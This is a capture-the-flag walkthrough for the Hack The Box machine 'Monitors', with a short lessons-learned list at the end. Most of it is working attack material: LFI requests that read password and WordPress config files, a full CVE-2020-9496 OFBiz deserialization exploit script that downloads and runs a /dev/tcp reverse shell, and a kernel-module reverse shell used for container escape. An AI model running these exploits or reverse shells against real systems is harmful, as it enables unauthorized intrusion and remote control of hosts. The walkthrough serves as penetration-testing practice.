htb-writeups

Monitors HTB

Machine Information

Overview

Monitors is a medium-difficulty Linux machine that involves web application enumeration, WordPress and Cacti exploitation, and ultimately escaping from a Docker container to gain root access on the host system.

Reconnaissance

Initial Scan

export target=10.129.232.111

# TCP SYN scan to discover open ports
sudo nmap -p- --min-rate 1000 -sT -vvv $target

# Service version detection on discovered ports
sudo nmap -sC -sV -p 22,80 -T4 $target

image

image

image

Findings:

Web Enumeration

After discovering the web service, we add the domain to /etc/hosts:

echo "10.129.232.111 monitors.htb" >> /etc/hosts

image

image

Visiting http://monitors.htb reveals a WordPress installation.

image

WordPress Enumeration

wpscan --url http://monitors.htb -e ap

image

Critical Finding: The wp-with-spritz plugin is installed and vulnerable to Local File Inclusion (LFI).

Initial Access

LFI Exploitation

The vulnerable endpoint allows directory traversal:

# Reading /etc/passwd to confirm LFI
curl "http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../../etc/passwd" | grep sh$

image

Key Discovery: Two users with shell access: root and marcus.

Virtual Host Discovery

# Reading Apache configuration
curl "http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../../etc/apache2/sites-enabled/000-default.conf"

image

Discovery: Additional virtual host cacti-admin.monitors.htb

echo "10.129.232.111 cacti-admin.monitors.htb" >> /etc/hosts

Credential Harvesting

# Reading WordPress configuration
curl "http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../../../var/www/wordpress/wp-config.php"

image

Credentials Found:

Cacti Access

Using the discovered credentials:

Privilege Escalation

Cacti Exploitation

Cacti version 1.2.12 is vulnerable to authenticated remote code execution.

image

searchsploit cacti 1.2.12
searchsploit -m 49810

image

image

Exploit Execution:

python3 49810.py -t http://cacti-admin.monitors.htb -u admin -p 'BestAdministrator@2020!' --lhost 10.10.14.50 --lport 9001

image

Result: Gained initial shell as www-data user.

image

Lateral Movement to Marcus

Discovery of backup service credentials:

cat /etc/systemd/system/cacti-backup.service
cat /home/marcus/.backup/backup.sh

image

image

Credentials Found:

SSH Access:

ssh marcus@10.129.232.111

image

User Flag:

cat /home/marcus/user.txt
# 5a8502ebdfc41a5843153cf73bcd702d

Container Escape

Service Discovery

netstat -tunlp

image

Discovery: OFBiz service running on localhost port 8443.

SSH Port Forwarding

ssh -L 8443:127.0.0.1:8443 marcus@10.129.232.111

OFBiz Enumeration

gobuster dir -u https://127.0.0.1:8443 -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -k

image

Discovery: Apache OFBiz 17.12.01 running at /catalog

OFBiz Exploitation

OFBiz 17.12.01 is vulnerable to deserialization attacks (CVE-2020-9496).

searchsploit OFBiz 17.12.01
searchsploit -m 50178

image

# Download ysoserial
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar

# Start HTTP server and netcat listener
python3 -m http.server 8000
nc -lnvp 9002

# Execute exploit
bash 50178.sh -i 10.10.14.50 -p 9002

Modified Exploit Script:

# 50178.sh
#!/usr/bin/env bash

# Exploit Title: Apache OfBiz 17.12.01 - Remote Command Execution (RCE)
# CVE: CVE-2020-9496
# Corrected version for HTB Monitors

url='https://127.0.0.1'
port=8443

function helpPanel(){
    echo -e "\nUsage:"
    echo -e "\t[-i] Attacker's IP"
    echo -e "\t[-p] Attacker's Port"
    echo -e "\t[-u] Target URL (default: https://127.0.0.1)"
    echo -e "\t[-r] Target Port (default: 8443)"
    echo -e "\t[-h] Show help pannel"
    exit 1
}

function ctrl_c(){
    echo -e "\n\n[!] Exiting...\n"
    exit 1
}

trap ctrl_c INT

function webRequest(){
    echo -e "\n[*] Creating a shell file with bash\n"
    echo -e "#!/bin/bash\n/bin/bash -i >& /dev/tcp/$ip/$ncport 0>&1" > shell.sh
    
    echo -e "[*] Checking for ysoserial..."
    # Check if ysoserial exists locally first
    if [ ! -f "ysoserial-all.jar" ]; then
        echo -e "[!] ysoserial-all.jar not found in current directory"
        echo -e "[*] Please ensure ysoserial-all.jar is in the current directory"
        echo -e "[*] You can get it from: https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar"
        exit 1
    fi
    
    echo -e "[*] Testing connection to target..."
    response_test=$(curl -s -k "$url:$port/webtools/control/xmlrpc" -w "%{http_code}" -o /dev/null)
    echo -e "[*] Target response code: $response_test"
    
    echo -e "[*] Generating first payload (download shell)..."
    # Use Java 11 with proper module exports
    payload=$(/usr/lib/jvm/java-11-openjdk-amd64/bin/java \
        --add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
        --add-exports=java.base/sun.net.www.protocol.http=ALL-UNNAMED \
        -jar ysoserial-all.jar CommonsBeanutils1 "wget http://$ip:8000/shell.sh -O /tmp/shell.sh 2>/dev/null" 2>/dev/null | base64 -w 0)
    
    if [ -z "$payload" ]; then
        echo -e "[!] Failed to generate first payload with CommonsBeanutils1. Trying CommonsCollections2..."
        payload=$(/usr/lib/jvm/java-11-openjdk-amd64/bin/java -jar ysoserial-all.jar CommonsCollections2 "wget http://$ip:8000/shell.sh -O /tmp/shell.sh 2>/dev/null" 2>/dev/null | base64 -w 0)
    fi
    
    if [ -z "$payload" ]; then
        echo -e "[!] Failed to generate payload. Trying without module exports..."
        payload=$(java -jar ysoserial-all.jar CommonsBeanutils1 "wget http://$ip:8000/shell.sh -O /tmp/shell.sh 2>/dev/null" 2>/dev/null | base64 -w 0)
    fi
    
    if [ -z "$payload" ]; then
        echo -e "[!] All payload generation attempts failed!"
        echo -e "[*] Please check if ysoserial is working properly"
        exit 1
    fi
    
    echo -e "[+] Payload 1 generated successfully (length: ${#payload} chars)"
    
    echo -e "[*] Sending first payload to server... (Download)"
    response1=$(curl -s -k "$url:$port/webtools/control/xmlrpc" -X POST \
        -d "<?xml version='1.0'?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value><struct><member><name>test</name><value><serializable xmlns='http://ws.apache.org/xmlrpc/namespaces/extensions'>$payload</serializable></value></member></struct></value></param></params></methodCall>" \
        -H 'Content-Type:application/xml' -w "%{http_code}")
    
    echo -e "[*] First request sent. Response code: ${response1: -3}"
    
    echo -e "[*] Waiting 3 seconds for download to complete..."
    sleep 3
    
    echo -e "[*] Generating second payload (execute shell)..."
    payload2=$(/usr/lib/jvm/java-11-openjdk-amd64/bin/java \
        --add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
        --add-exports=java.base/sun.net.www.protocol.http=ALL-UNNAMED \
        -jar ysoserial-all.jar CommonsBeanutils1 "bash /tmp/shell.sh" 2>/dev/null | base64 -w 0)
    
    if [ -z "$payload2" ]; then
        echo -e "[!] Failed to generate second payload with CommonsBeanutils1. Trying CommonsCollections2..."
        payload2=$(/usr/lib/jvm/java-11-openjdk-amd64/bin/java -jar ysoserial-all.jar CommonsCollections2 "bash /tmp/shell.sh" 2>/dev/null | base64 -w 0)
    fi
    
    if [ -z "$payload2" ]; then
        echo -e "[!] Failed to generate second payload. Trying without module exports..."
        payload2=$(java -jar ysoserial-all.jar CommonsBeanutils1 "bash /tmp/shell.sh" 2>/dev/null | base64 -w 0)
    fi
    
    if [ -z "$payload2" ]; then
        echo -e "[!] All payload generation attempts failed for second payload!"
        exit 1
    fi
    
    echo -e "[+] Payload 2 generated successfully (length: ${#payload2} chars)"
    
    echo -e "[*] Sending second payload to server... (Execute)"
    response2=$(curl -s -k "$url:$port/webtools/control/xmlrpc" -X POST \
        -d "<?xml version='1.0'?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value><struct><member><name>test</name><value><serializable xmlns='http://ws.apache.org/xmlrpc/namespaces/extensions'>$payload2</serializable></value></member></struct></value></param></params></methodCall>" \
        -H 'Content-Type:application/xml' -w "%{http_code}")
    
    echo -e "[*] Second request sent. Response code: ${response2: -3}"
    echo -e "\n[+] Exploit completed! Check your netcat listener for a shell!"
    echo -e "[*] If no shell appears, the target might be:"
    echo -e "    - Blocking outbound connections"
    echo -e "    - Not executing the payload"
    echo -e "    - Requiring a different payload/gadget chain"
}

# Main execution
declare -i parameter_enable=0

while getopts ":i:p:u:r:h" arg; do
    case $arg in
        i) ip=$OPTARG; let parameter_enable+=1;;
        p) ncport=$OPTARG; let parameter_enable+=1;;
        u) url=$OPTARG;;
        r) port=$OPTARG;;
        h) helpPanel;;
    esac
done

if [ $parameter_enable -ne 2 ]; then
    helpPanel
else
    webRequest
fi

image

image

Result: Gained access to Docker container as root.

Kernel Module Exploitation

Kernel Module Code:

#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");

char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/10.10.14.50/1337 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };

static int __init reverse_shell_init(void) {
    return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}

static void __exit reverse_shell_exit(void) {
    printk(KERN_INFO "Exiting\n");
}

module_init(reverse_shell_init);
module_exit(reverse_shell_exit);

Makefile:

obj-m +=reverse-shell.o
all:
	make -C /lib/modules/4.15.0-151-generic/build M=/root modules
clean:
	make -C /lib/modules/4.15.0-151-generic/build M=/root clean

Execution:

# Transfer files to container
wget http://10.10.14.50:8000/reverse-shell.c
wget http://10.10.14.50:8000/Makefile

# Compile and execute
make
nc -nlvp 1337
insmod reverse-shell.ko

image

image

image

Root Flag:

cat /root/root.txt
# 9fe02d0b7f6bda0b0cdf6b084722768d

Lessons Learned

Security Misconfigurations

  1. WordPress Plugin Vulnerability: Outdated plugins with known vulnerabilities
  2. Information Disclosure: WordPress configuration file accessible via LFI
  3. Password Reuse: Same credentials across multiple services
  4. Vulnerable Services: Unpatched Cacti and OFBiz installations
  5. Container Security: Excessive capabilities in Docker container

Defense Recommendations

Tools Used


Note: This walkthrough is for educational purposes only. Always ensure you have proper authorization before testing security vulnerabilities.


Hack The Box - Monitors | Complete Walkthrough